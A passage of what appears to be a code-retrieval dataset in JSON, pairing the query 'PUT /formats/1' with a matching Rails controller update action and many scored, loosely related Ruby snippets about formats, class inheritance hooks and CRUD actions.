"text": "def assign_class_generalizations\n\n # Iterate through each generalizations and try to\n # assign the #superclass attribute of the specific Class\n @generalizations.each do |generalization|\n generalization.try_assign_superclass(@classes)\n end\n end",
"title": ""
},
{
"docid": "3ed02b3e0634264f3cb16276e81826ea",
"score": "0.54664236",
"text": "def overrides_disabled\n @overrides_enabled = false\n yield\n ensure\n @overrides_enabled = true\n end",
"title": ""
},
{
"docid": "ca3ae1500047bdb13271d08a063a84c8",
"score": "0.54634506",
"text": "def on_class(klass)\n core.add_multi_spy(Blueprint.new(klass, :all, :instance_methods))\n end",
"title": ""
},
{
"docid": "2290804b238fc95bfd6b38f87c6d2895",
"score": "0.5450702",
"text": "def override; end",
"title": ""
},
{
"docid": "2db64903538323f01f2858030f38a903",
"score": "0.54502344",
"text": "def rinter_after_include_class(base)\n end",
"title": ""
},
{
"docid": "86e11960af4e88f06ac5a47ec6027aa6",
"score": "0.5445266",
"text": "def inherited(subclass)\n subclass.instance_eval do\n @pin_aliases = {}\n const_set :Shortcuts, Module.new\n include self::Shortcuts\n end\n end",
"title": ""
},
{
"docid": "e67d164d3827e87fbd239cc54a273859",
"score": "0.54447585",
"text": "def replace_class(cmd)\n change_attr(:class, cmd[1], cmd[2])\n end",
"title": ""
},
{
"docid": "acf8e313c3bb61e45ff5113bbffc7590",
"score": "0.54429555",
"text": "def inherited(cls)\n idx =\n Clouseau.detectors.index { |d|\n (cls <=> d) == -1\n }\n\n Clouseau.detectors.insert(idx || 0, cls)\n end",
"title": ""
},
{
"docid": "deba93aaf85066d18e19a41b24518dd1",
"score": "0.5440299",
"text": "def auto_include!\n mixins = @@class_mixins[name]\n send(:include, *mixins) if mixins\n end",
"title": ""
},
{
"docid": "deba93aaf85066d18e19a41b24518dd1",
"score": "0.5440299",
"text": "def auto_include!\n mixins = @@class_mixins[name]\n send(:include, *mixins) if mixins\n end",
"title": ""
},
{
"docid": "f43e0abb7550008d06d4aec7ea3d03c6",
"score": "0.5439965",
"text": "def included(base)\n base.extend(const_get(\"ClassMethods\")) if const_defined?(\"ClassMethods\")\n base.const_set(:CapabilitiesExceeded, CapabilitiesExceeded)\n end",
"title": ""
},
{
"docid": "1d99b6c985a26a66bf3dc3a5c3a01347",
"score": "0.5432949",
"text": "def overrides=(_arg0); end",
"title": ""
},
{
"docid": "5e243d79e429f78158ac085bc9301209",
"score": "0.5429889",
"text": "def override(method_name)\n method_name\n end",
"title": ""
},
{
"docid": "db4c47da322565221032244a38dc53ee",
"score": "0.54255944",
"text": "def install!\n raise \"Must be overridden by the including class\"\n end",
"title": ""
},
{
"docid": "f77cc6aaca68337884529444730798ed",
"score": "0.5423489",
"text": "def inherited( subclass )\n\t\t\tsuper\n\t\t\t@plugins ||= []\n\n\t\t\tsubclass.loaded_plugins = self.loaded_plugins\n\t\t\tsubclass.plugin_path_prefix = self.plugin_path_prefix\n\t\t\tsubclass.plugins_installed_from = nil\n\t\t\tsubclass.instance_variable_set( :@plugins, @plugins.dup )\n\t\tend",
"title": ""
},
{
"docid": "45aef2188c244ea4865573a54350b05f",
"score": "0.5423471",
"text": "def add_class(klass)\n @classes << klass unless @classes.include?(klass)\n end",
"title": ""
},
{
"docid": "f63ea5d5e4f334aab53394b5ea1d38f9",
"score": "0.5408109",
"text": "def override()\n puts \"child override()\"\n end",
"title": ""
},
{
"docid": "cce113f29531328744ba3ce3b6814b46",
"score": "0.54046184",
"text": "def reload_classes_only_on_change=(_arg0); end",
"title": ""
},
{
"docid": "865b214b5743cd3805318be01f088604",
"score": "0.5403164",
"text": "def inject_into_class(path, klass, *args, &block); end",
"title": ""
}
] |
04ff1b6a9935d767070a00a82dced166
|
PUT /formats/1 PUT /formats/1.json
|
[
{
"docid": "5bd340a43a770df63fd997db8e658d97",
"score": "0.7016364",
"text": "def update\n @format = Format.find(params[:id])\n\n respond_to do |format|\n if @format.update_attributes(params[:format])\n format.html { redirect_to @format, notice: 'Format was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "cc54bf80275f0c127a73e78a22f2fba7",
"score": "0.70535725",
"text": "def update\n @format = Format.find(params[:id])\n\n maybe_add_mimetype(params)\n\n respond_to do |format|\n if @format.update_attributes(params[:form])\n format.html { redirect_to(@format, :notice => 'Format was successfully updated.') }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @format.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @format.errors, :status => :unprocessable_entity }\n format.json { render :json => @format.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f33332ad8bca3196e83c569421fdc297",
"score": "0.68663424",
"text": "def update\n @format = Format.find(params[:id])\n\n respond_to do |format|\n if @format.update_attributes(params[:format])\n flash[:notice] = \"Format '#{@format}' was successfully updated.\"\n format.html { redirect_to format_url(@format) }\n format.xml { head :ok }\n format.js { render :template => 'music/formats/success' }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @format.errors.to_xml }\n format.js { render :template => 'music/formats/error' }\n end\n end\n end",
"title": ""
},
{
"docid": "12413759a8c99675485593e90c8aab7c",
"score": "0.6841607",
"text": "def update\n respond_to do |format|\n if @created_format.update(created_format_params)\n format.html { redirect_to created_formats_path, notice: 'Created format was successfully updated.' }\n format.json { render :show, status: :ok, location: @created_format }\n else\n format.html { render :edit }\n format.json { render json: @created_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "940c83e68b347a6a6d2f166ac81166be",
"score": "0.6819894",
"text": "def update\n respond_to do |format|\n if @serving_format.update(serving_format_params)\n format.html { redirect_to @serving_format, notice: \"Serving format was successfully updated.\" }\n format.json { render :show, status: :ok, location: @serving_format }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @serving_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b8d18e342cf219638c7081e4a762fd1d",
"score": "0.65934324",
"text": "def update\n @document_format = DocumentFormat.find(params[:id])\n\n respond_to do |format|\n if @document_format.update_attributes(params[:document_format])\n format.html { redirect_to document_formats_url, notice: 'Document format was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25fbb12a63961bb2781e7bca10b2d1b6",
"score": "0.6575468",
"text": "def update\n @format = Format.find(params[:id])\n\n respond_to do |format|\n if @format.update_attributes(params[:form])\n format.html { redirect_to(@format, :notice => 'Format was successfully updated.') }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @format.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @format.errors, :status => :unprocessable_entity }\n format.json { render :json => @format.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "24e22e72c37043e3628b66f8aaaccc9e",
"score": "0.6476215",
"text": "def update\n if @formato.update(formato_params)\n render json: @formato\n else\n render json: @formato.errors, status: :unprocessable_entity \n end\n end",
"title": ""
},
{
"docid": "1c4bf1a72678d2348469e1044f90fecf",
"score": "0.63841176",
"text": "def update\n @book_format = BookFormat.find(params[:id])\n\n respond_to do |format|\n if @book_format.update_attributes(params[:book_format])\n format.html { redirect_to @book_format, notice: 'Book format was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e02c2227476a95e73a5b2850216684bd",
"score": "0.63672584",
"text": "def update\n @movie_format = MovieFormat.find(params[:id])\n\n respond_to do |format|\n if @movie_format.update_attributes(params[:movie_format])\n format.html { redirect_to @movie_format, notice: 'Movie format was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c11cadf271b2dbc3bc14b92e6d48e878",
"score": "0.6333484",
"text": "def update\n respond_to do |format|\n if @book_format.update(book_format_params)\n format.html { redirect_to @book_format, notice: 'Book format was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_format }\n else\n format.html { render :edit }\n format.json { render json: @book_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "760586837400078037487e65c6aaaa9a",
"score": "0.6320596",
"text": "def update\n @format_lookup = FormatLookup.find(params[:id])\n\n respond_to do |format|\n if @format_lookup.update_attributes(params[:format_lookup])\n format.html { redirect_to @format_lookup, :notice => 'Format lookup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @format_lookup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "565cda6d31ba9c623950c81ede3e8f68",
"score": "0.6216952",
"text": "def update\n respond_to do |format|\n if @individual_format.update(individual_format_params)\n format.html { redirect_to @individual_format, notice: 'Individual format was successfully updated.' }\n format.json { render :show, status: :ok, location: @individual_format }\n else\n format.html { render :edit }\n format.json { render json: @individual_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e55d120cfbae0b5259ecf4d07bf8f77",
"score": "0.61975706",
"text": "def update\n @format_type = FormatType.find(params[:id])\n\n respond_to do |format|\n if @format_type.update_attributes(params[:format_type])\n flash[:notice] = 'Format type was successfully updated.'\n format.html { redirect_to([:admin, @format_type]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @format_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b7f900fc122e2e43abe80ffabe78c87f",
"score": "0.6133376",
"text": "def format=(new_format)\n valid_formats = [:json, :xml]\n raise ArgumentError, \"Invalid format. Supported formats: #{valid_formats.join(', ')}.\" unless valid_formats.include?(new_format.to_sym)\n @format = new_format\n refresh_config_for_api_objects!\n @format\n end",
"title": ""
},
{
"docid": "8ae7ab198233708d12bbcfe148596d1f",
"score": "0.60936123",
"text": "def format *formats\n format! *formats << true\n end",
"title": ""
},
{
"docid": "f8b21095629913a4b5c72f8578084dbb",
"score": "0.6089984",
"text": "def update\n @item_format = ItemFormat.find(params[:id])\n \n respond_to do |format|\n if @item_format.update_attributes(params[:item_format])\n format.html { redirect_to [:admin, @item_format] }\n format.xml { render :nothing => true }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_format.errors.to_xml } \n end\n end\n end",
"title": ""
},
{
"docid": "9ac2faaa053362d2e05aa2389b9a56cd",
"score": "0.6038884",
"text": "def destroy\n @format = Format.find(params[:id])\n @format.destroy\n\n respond_to do |format|\n format.html { redirect_to formats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2e8e063399138c1f273499aaf70e666e",
"score": "0.60187185",
"text": "def delete_formats!\n @formats = {}\n end",
"title": ""
},
{
"docid": "dd12848140ebad42a2465fb1a935d25c",
"score": "0.595049",
"text": "def with_format(format)\n old_formats = formats\n self.formats = [format]\n yield\n self.formats = old_formats\n nil\n end",
"title": ""
},
{
"docid": "46ddc9f944ef7e7e4f7b640b054ee565",
"score": "0.5916139",
"text": "def update\n @article_format.user_id = current_user.id\n respond_to do |format|\n if @article_format.update(article_format_params)\n format.html { redirect_to @article_format, notice: 'Article format was successfully updated.' }\n format.json { render :show, status: :ok, location: @article_format }\n else\n format.html { render :edit }\n format.json { render json: @article_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46ddc9f944ef7e7e4f7b640b054ee565",
"score": "0.5916139",
"text": "def update\n @article_format.user_id = current_user.id\n respond_to do |format|\n if @article_format.update(article_format_params)\n format.html { redirect_to @article_format, notice: 'Article format was successfully updated.' }\n format.json { render :show, status: :ok, location: @article_format }\n else\n format.html { render :edit }\n format.json { render json: @article_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48a79c6252d394a81cad20b3703a74f0",
"score": "0.5911636",
"text": "def create\n @format = Format.new(params[:format])\n\n respond_to do |format|\n if @format.save\n format.html { redirect_to @format, notice: 'Format was successfully created.' }\n format.json { render json: @format, status: :created, location: @format }\n else\n format.html { render action: \"new\" }\n format.json { render json: @format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "86ef25fa687381067b1c06ac009409c4",
"score": "0.58819395",
"text": "def set_serving_format\n @serving_format = ServingFormat.find(params[:id])\n end",
"title": ""
},
{
"docid": "1e028c0812c071d1e41567da92afb207",
"score": "0.58763653",
"text": "def update\n @format_packing = FormatPacking.find(params[:id])\n\n respond_to do |format|\n if @format_packing.update_attributes(params[:format_packing])\n format.html { redirect_to @format_packing, notice: 'El formato ha sido editado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @format_packing.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe8219782f9e93b5569240cdf51f9469",
"score": "0.5865279",
"text": "def update\n @formato = Formato.find(params[:id])\n\n respond_to do |format|\n if @formato.update_attributes(params[:formato])\n format.html { redirect_to(@formato, :notice => 'Formato was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @formato.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ae404fe9e73b8f332f6a5fe18c6baec",
"score": "0.5845363",
"text": "def create\n @serving_format = ServingFormat.new(serving_format_params)\n\n respond_to do |format|\n if @serving_format.save\n format.html { redirect_to @serving_format, notice: \"Serving format was successfully created.\" }\n format.json { render :show, status: :created, location: @serving_format }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @serving_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "75806c0f76b753db13a9f33e17368f92",
"score": "0.5844469",
"text": "def update\n @response_format = ResponseFormat.find(params[:id])\n\n respond_to do |format|\n if @response_format.update_attributes(params[:response_format])\n flash[:notice] = 'ResponseFormat was successfully updated.'\n format.html { redirect_to(@response_format) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @response_format.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1cb20d6c9402b6c5b4ae2fb3ffce3667",
"score": "0.58230317",
"text": "def update\n @poblamiento_file_format = PoblamientoFileFormat.find(params[:id])\n\n respond_to do |format|\n if @poblamiento_file_format.update_attributes(params[:poblamiento_file_format])\n format.html { redirect_to @poblamiento_file_format, notice: 'Poblamiento file format was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poblamiento_file_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80663b81fb6423c69683d10aeaf06ea7",
"score": "0.5810391",
"text": "def register(format)\n @@registered_formats << format\n end",
"title": ""
},
{
"docid": "e6424f00b8c1aa67d08a6f2dc6af9958",
"score": "0.57832867",
"text": "def serving_format_params\n params.require(:serving_format).permit(:name)\n end",
"title": ""
},
{
"docid": "30a8c5fe63da90e7f4a21530fe0573b2",
"score": "0.578163",
"text": "def update\n respond_to do |format|\n if @formating.update(formating_params)\n format.html { redirect_to @formating, notice: 'Formating was successfully updated.' }\n format.json { render :show, status: :ok, location: @formating }\n else\n format.html { render :edit }\n format.json { render json: @formating.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15c8d3285a01853387a31f46c8d00343",
"score": "0.57725924",
"text": "def create\n\n maybe_add_mimetype(params)\n\n @format = Format.new(params[\"form\"])\n\n respond_to do |format|\n if @format.save\n format.html { redirect_to(@format, :notice => 'Format was successfully created.') }\n format.xml { render :xml => @format, :status => :created, :location => @format }\n format.csv { render :csv => @format, :status => :created, :location => @format }\n format.json { render :json => @format, :status => :created, :location => @format }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @format.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @format.errors, :status => :unprocessable_entity }\n format.json { render :json => @format.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "06dceb8da8382a38e549184b4230ccd7",
"score": "0.57654333",
"text": "def with_format(format, &block)\n old_formats = formats\n self.formats = [format]\n yield\n self.formats = old_formats\n nil\n end",
"title": ""
},
{
"docid": "762b61d1da79fe2c717531ec59421c90",
"score": "0.5750345",
"text": "def update\n @media_type = MediaType.find(params[:id])\n\n respond_to do |format|\n if @media_type.update_attributes(params[:media_type])\n format.html { redirect_to @media_type, notice: 'Media type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @media_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1151ba2f3806b5c3d20e82dab3afa5f4",
"score": "0.57294834",
"text": "def with_format(format, &block)\n\t old_formats = formats\n\t self.formats = [format]\n\t block.call\n\t self.formats = old_formats\n\t nil\n\tend",
"title": ""
},
{
"docid": "5cd5f67382ab8e41c440fd577f913e66",
"score": "0.57100034",
"text": "def update\n\n raw = params[:sample_type]\n st = SampleType.find(raw[:id])\n\n st.name = raw[:name]\n st.description = raw[:description]\n st.save\n st.save_field_types raw[:field_types]\n\n render json: { sample_type: st }\n\n end",
"title": ""
},
{
"docid": "e9b4dbec204b8f78c0a51cee5d9fedca",
"score": "0.5708573",
"text": "def set_format\n request.format = :json if params[:api_token].present? && params[:format].blank?\n end",
"title": ""
},
{
"docid": "8183e92216821080d2d8ae7ea4104660",
"score": "0.57000566",
"text": "def format=(format)\n self[\"Content-Type\"] = Rack::Mime.mime_type(\".#{format}\")\n end",
"title": ""
},
{
"docid": "91e94b8ccd0519ac32486d8bff9f044f",
"score": "0.5665058",
"text": "def rewrite_format\n qs_format = request.query_parameters[:format]\n\n if qs_format.present?\n new_params = request.query_parameters.dup\n new_params.delete :format\n\n param_str = create_query_string(new_params)\n format_already_present = request.path.split('.').count == 2\n\n # make formats idempotent so /foo.json?format=json doesn't generate /foo.json.json\n if format_already_present\n redirect_to(\"#{request.path}#{param_str}\")\n else\n redirect_to(\"#{request.path}.#{qs_format}#{param_str}\")\n end\n end\n end",
"title": ""
},
{
"docid": "69d7bd8ff6297967a52cb5c83c55564e",
"score": "0.5657737",
"text": "def update\n @teaching_format = TeachingFormat.find(params[:id])\n\n respond_to do |format|\n if @teaching_format.update_attributes(params[:teaching_format])\n format.html { redirect_to @teaching_format, notice: 'Teaching format was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @teaching_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "847c04a19de1aaf863ea41b682a67949",
"score": "0.5657067",
"text": "def reformat(data, format=params[:format])\n content_type CONTENT_TYPES[format], :charset => 'utf-8'\n case format\n when 'txt'\n data.to_s\n when 'yaml'\n YAML::dump(data)\n when 'xml'\n data.to_xml\n when 'json'\n data.to_json\n else\n raise 'Unknown format: ' + format\n end\n end",
"title": ""
},
{
"docid": "847c04a19de1aaf863ea41b682a67949",
"score": "0.5657067",
"text": "def reformat(data, format=params[:format])\n content_type CONTENT_TYPES[format], :charset => 'utf-8'\n case format\n when 'txt'\n data.to_s\n when 'yaml'\n YAML::dump(data)\n when 'xml'\n data.to_xml\n when 'json'\n data.to_json\n else\n raise 'Unknown format: ' + format\n end\n end",
"title": ""
},
{
"docid": "2b9a376df31aadcc432236ad2fb5b4b1",
"score": "0.5650159",
"text": "def expand_formats!\n global_formats = (@formats||[]).map {|f| '.' << f.to_s.sub('.', '')}.uniq\n strict_formats = (@formats_for||[]).inject([]) do |u,(m,f)|\n u << [m, f.map {|e| '.' << e.to_s.sub('.', '')}.uniq]\n end\n\n # defining a handy #format? method for each format.\n # eg. #json? for .json, #xml? for .xml etc.\n # these methods are aimed to replace the `if format == '.json'` redundancy\n #\n # @example\n #\n # class App < E\n #\n # format '.json'\n #\n # def page\n # # on /page, #json? will return nil\n # # on /page.json, #json? will return '.json'\n # end\n # end\n #\n (all_formats = (global_formats + strict_formats.map {|s| s.last}.flatten).uniq)\n (all_formats = Hash[all_formats.zip(all_formats)]).each_key do |f|\n define_method '%s?' % f.sub('.', '') do\n # Hash searching is a lot faster than String comparison\n all_formats[format]\n end\n end\n\n @expanded_formats = public_actions.inject({}) do |map, action|\n\n map[action] = global_formats\n\n action_formats = strict_formats.inject([]) do |formats,(m,f)|\n m == action ||\n (m.is_a?(Regexp) && action.to_s =~ m) ? formats.concat(f) : formats\n end\n map[action] = action_formats if action_formats.any?\n\n (@disable_formats_for||[]).each do |m|\n map.delete(action) if m == action || (m.is_a?(Regexp) && action.to_s =~ m)\n end\n\n map\n end\n end",
"title": ""
},
{
"docid": "3e0ceae4e586b70190d2c261283e02e7",
"score": "0.564658",
"text": "def update\n respond_to do |format|\n if @source.update(source_params)\n # We go through this dance to handle changing types from verbatim to other\n @source = @source.becomes!(@source.type.safe_constantize)\n @source.reload # necessary to reload the cached value.\n format.html { redirect_to url_for(@source.metamorphosize), notice: 'Source was successfully updated.' }\n format.json { render :show, status: :ok, location: @source.metamorphosize }\n else\n format.html { render action: 'edit' }\n format.json { render json: @source.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "089fa0115215463b02cdd904600cd735",
"score": "0.56246066",
"text": "def add_format(format)\n\n unless Mime::Type.lookup_by_extension format\n\n raise ArgumentError, \"Please register the #{format} mime type with `Mime::Type.register`\"\n\n end\n\n @formats << format unless formats.include? format\n\n formats\n\n end",
"title": ""
},
{
"docid": "20319220af6f37e952d279ceb3b25de4",
"score": "0.56205696",
"text": "def add_format(key, format)\n formats.merge!({key => format})\n end",
"title": ""
},
{
"docid": "a930268eb9bf9e0e09f17012ce288a4b",
"score": "0.56179386",
"text": "def update\n @metadata_schema = MetadataSchema.find(params[:id])\n\n respond_to do |format|\n if @metadata_schema.update_attributes(params[:metadata_schema])\n @metadata_schemas = MetadataSchema.arrange(:order => :created_at)\n format.html { redirect_to @metadata_schema, notice: 'Metadata schema was successfully updated.' }\n format.json { head :no_content }\n format.js { render 'create.js'}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metadata_schema.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e0a7516bcb2eafca06cf94891a65818",
"score": "0.5617929",
"text": "def process_path_for_respond_to(path, format_params)\n format_suffix = case format_params\n when :any then \"(.:format)\"\n when Array then\n formats = format_params.dup # Prevent changes to HEAD verb\n container = formats.delete(:html) ? \"(%s)\" : \"%s\"\n match = \".{:format,\" + formats.collect { |f| \"#{f}$\" }.join(\"|\") + \"}\"\n container % match\n else \".{:format,#{format_params}}\"\n end\n path + format_suffix\n end",
"title": ""
},
{
"docid": "4a442d9a53fcc74c34cfbf9a5bcaf559",
"score": "0.56171507",
"text": "def update \t\n record = AssetType.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"title": ""
},
{
"docid": "e60e2b8a8cb5a5d04ad2f1c354d7eae7",
"score": "0.56112725",
"text": "def destroy\n @format = Format.find(params[:id])\n @format.destroy\n\n respond_to do |format|\n format.html { redirect_to(formats_url) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e60e2b8a8cb5a5d04ad2f1c354d7eae7",
"score": "0.56112725",
"text": "def destroy\n @format = Format.find(params[:id])\n @format.destroy\n\n respond_to do |format|\n format.html { redirect_to(formats_url) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "724c587dc0100b1403ac79397faf37f3",
"score": "0.55927265",
"text": "def process_action(*) #:nodoc:\n self.formats = request.formats.map(&:ref).compact\n super\n end",
"title": ""
},
{
"docid": "724c587dc0100b1403ac79397faf37f3",
"score": "0.55927265",
"text": "def process_action(*) #:nodoc:\n self.formats = request.formats.map(&:ref).compact\n super\n end",
"title": ""
},
{
"docid": "843c7f9d9a648d34e40213905600bb29",
"score": "0.5575272",
"text": "def create\n @created_format = CreatedFormat.new(created_format_params)\n\n respond_to do |format|\n if @created_format.save\n format.html { redirect_to created_formats_path, notice: 'Created format was successfully created.' }\n format.json { render :show, status: :created, location: @created_format }\n else\n format.html { render :new }\n format.json { render json: @created_format.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e3b3ca90007f7f8b7d11814f8572eae0",
"score": "0.55464625",
"text": "def set_file_format\n @file_format = FileFormat.find(params[:id])\n end",
"title": ""
},
{
"docid": "156fb59ffb2e61295586f4d2c7b19286",
"score": "0.5535485",
"text": "def set_content_type\n format = settings[:format] = params[:format].to_sym\n content_type content_types[format]\n end",
"title": ""
},
{
"docid": "bd4b1ad15eca1d8589aec5fde4029da6",
"score": "0.55255526",
"text": "def formats=(extensions)\n parameters[:format] = extensions.first.to_s\n set_header \"action_dispatch.request.formats\", extensions.collect { |extension|\n Mime::Type.lookup_by_extension(extension)\n }\n end",
"title": ""
},
{
"docid": "744d898f8af0b918a16ca55a17fd701b",
"score": "0.5515075",
"text": "def set_format idx, fmt\n @formats[idx] = fmt\n @worksheet.add_format fmt\n @worksheet.row_updated @idx, self if @worksheet\n fmt\n end",
"title": ""
},
{
"docid": "f3e0f25f7ba2b91e6963a85c1774582d",
"score": "0.5507785",
"text": "def create\n @format = Format.new(params[:format])\n @format.save!\n\n respond_to do |format|\n flash[:notice] = 'Format was successfully created.'\n format.html { redirect_to format_url(@format) }\n format.xml { head :created, :location => format_url(@format) }\n format.js { render :template => 'music/formats/success' }\n end\n\n rescue ActiveRecord::RecordInvalid\n respond_to do |format|\n format.html { render :action => :new }\n format.xml { render :xml => @format.errors.to_xml }\n format.js { render :template => 'music/formats/error' }\n end\n end",
"title": ""
},
{
"docid": "fea65539801948607c045caf5e35f915",
"score": "0.55034685",
"text": "def formats(formats) #:doc:\n return unless Apipie.active_dsl?\n Apipie.last_dsl_data[:formats] = formats\n end",
"title": ""
},
{
"docid": "8dc41bfffd30be2203153c3ed924a1b7",
"score": "0.55002445",
"text": "def show\n @format = Format.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @format }\n end\n end",
"title": ""
},
{
"docid": "51872bb691452bb4cc04343b75ace309",
"score": "0.5495683",
"text": "def _process_format(format); end",
"title": ""
},
{
"docid": "51872bb691452bb4cc04343b75ace309",
"score": "0.5495683",
"text": "def _process_format(format); end",
"title": ""
},
{
"docid": "e41d30231222f77f5d470e21aad1b2c2",
"score": "0.5490624",
"text": "def set_default_format_json\n if params[:format] && params[:format] != 'json'\n head :bad_request\n else\n request.format = 'json' unless params[:format]\n end\n end",
"title": ""
},
{
"docid": "61efda1154581303afffd7912acdef2f",
"score": "0.54791623",
"text": "def translate_formats(key, value)\n return unless key == 'dc_format_s' && formats.include?(value)\n\n metadata[key] = formats[value]\n end",
"title": ""
},
{
"docid": "1a04ea35d8dafea2ffd526d61c977312",
"score": "0.54587585",
"text": "def add_format format\n if format && !@formats_set[format]\n @formats_set[format] = true\n @formats.push(format)\n end\n format\n end",
"title": ""
},
{
"docid": "245adfc2f13d899e8e5e90d127a6d0b3",
"score": "0.5455812",
"text": "def create\n @format = Format.new(params[\"form\"])\n\n if !params[:mime_type_other].blank?\n @format.mime_type = params[:mime_type_other]\n end\n\n # Want to move recently used string to top, this will do this by adding them to end of\n # the table\n m = Mimetype.find_by_type_string(@format.mime_type)\n m.delete if !m.nil?\n Mimetype.new(:type_string => @format.mime_type).save\n\n\n respond_to do |format|\n if @format.save\n format.html { redirect_to(@format, :notice => 'Format was successfully created.') }\n format.xml { render :xml => @format, :status => :created, :location => @format }\n format.csv { render :csv => @format, :status => :created, :location => @format }\n format.json { render :json => @format, :status => :created, :location => @format }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @format.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @format.errors, :status => :unprocessable_entity }\n format.json { render :json => @format.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d209716c535edf8eb2fab8820b003969",
"score": "0.54547554",
"text": "def update\n @formatoventum = Formatoventum.find(params[:id])\n@mixboton = \"Actualizar \"\n respond_to do |format|\n if @formatoventum.update_attributes(params[:formatoventum])\n format.html { redirect_to @formatoventum, notice: 'Formatoventum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @formatoventum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c33534bbd4e24d4781f9be7db8a8862",
"score": "0.545238",
"text": "def destroy\n @book_format = BookFormat.find(params[:id])\n @book_format.destroy\n\n respond_to do |format|\n format.html { redirect_to book_formats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2742544030f85ca1a7f78972f863ea13",
"score": "0.54522717",
"text": "def index_formats(format)\n end",
"title": ""
},
{
"docid": "6de7a96259985b1afe041f4b432d1ac5",
"score": "0.5445565",
"text": "def _process_format(format) # :nodoc:\n end",
"title": ""
},
{
"docid": "cbfde1e27da33622e86f2fb07609f905",
"score": "0.5435916",
"text": "def update\n @category = Category.find(params[:id])\n @category.format_name = params[:category][:name].gsub(/ /, \"_\").downcase\n \n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to admin_scenic_spots_url, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
